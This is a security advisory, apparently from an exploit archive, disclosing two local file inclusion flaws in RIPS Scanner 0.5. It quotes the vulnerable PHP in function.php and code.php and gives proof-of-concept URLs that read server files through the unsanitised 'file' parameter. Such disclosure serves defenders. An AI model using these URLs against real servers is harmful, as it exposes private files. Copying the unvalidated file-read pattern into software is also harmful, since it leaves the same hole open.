Rips Scanner 0.5 Local File Inclusion

`================================================================================  
# Rips Scanner 0.5 - Local File Inclusion  
================================================================================  
# Vendor Homepage: https://github.com/robocoder/rips-scanner  
# Date: 24/12/2015  
# Software Link: https://github.com/robocoder/rips-scanner/archive/master.zip  
# Version : 0.5  
# Author: Ashiyane Digital Security Team  
# Contact: [email protected]  
# Source: http://ehsansec.ir/advisories/rips-lfi.txt  
================================================================================  
# Vulnerable File : function.php  
  
# Vulnerable Code:  
  
58 $file = $_GET['file'];  
59 $start = (int)$_GET['start'];  
60 $end = (int)$_GET['end'];  
61 $ext = '.'.pathinfo($file, PATHINFO_EXTENSION);  
62  
63  
64 if(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))  
65 {  
66 $lines = file($file);  
67   
68 if( isset($lines[$start]) && isset($lines[$end]) )  
69 {  
70 for($i=$start; $i<=$end; $i++)  
71 {  
72 echo highlightline($lines[$i], $i);  
73 }  
74 } else  
75 {  
76 echo '<tr><td>Sorry, wrong file referenced.</td></tr>';  
77 }  
78 } else  
79 {  
80 echo '<tr><td>Sorry, no file referenced.</td></tr>';  
81 }  
  
  
# PoC :  
  
http://localhost/rips/windows/function.php?file=/var/www/html/index.php&start=1&end=20  
  
Parmetrs :  
file = path/file  
start = 0  
end = number of page's lines  
  
================================================================================  
# Discovered By : Ehsan Hosseini (EhsanSec.ir)  
================================================================================  
  
  
------  
  
  
================================================================================  
# Rips Scanner 0.5 - (code.php) Local File Inclusion  
================================================================================  
# Vendor Homepage: https://github.com/robocoder/rips-scanner  
# Date: 24/12/2015  
# Software Link: https://github.com/robocoder/rips-scanner/archive/master.zip  
# Version : 0.5  
# Author: Ashiyane Digital Security Team  
# Contact: [email protected]  
# Source: http://ehsansec.ir/advisories/rips-code-lfi.txt  
================================================================================  
# Vulnerable File : code.php  
  
# Vulnerable Code:  
  
  
102 $file = $_GET['file'];  
103 $marklines = explode(',', $_GET['lines']);  
104 $ext = '.'.pathinfo($file, PATHINFO_EXTENSION);  
105  
106   
107 if(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))  
108 {  
109 $lines = file($file);  
110   
111 // place line numbers in extra table for more elegant copy/paste  
without line numbers  
112 echo '<tr><td><table>';  
113 for($i=1, $max=count($lines); $i<=$max;$i++)  
114 echo "<tr><td class=\"linenrcolumn\"><span  
class=\"linenr\">$i</span><A id='".($i+2).'\'></A></td></tr>';  
115 echo '</table></td><td id="codeonly"><table id="codetable" width="100%">';  
116   
117 $in_comment = false;  
118 for($i=0; $i<$max; $i++)  
119 {   
120 $in_comment = highlightline($lines[$i], $i+1, $marklines, $in_comment);  
121 }  
122 } else  
123 {  
124 echo '<tr><td>Invalid file specified.</td></tr>';  
125 }  
  
  
# PoC :  
  
http://localhost/rips/windows/code.php?file=/var/www/html/index.php  
  
Vulnerable Parameter : file  
  
================================================================================  
# Discovered By : Ehsan Hosseini (EhsanSec.ir)  
================================================================================  
`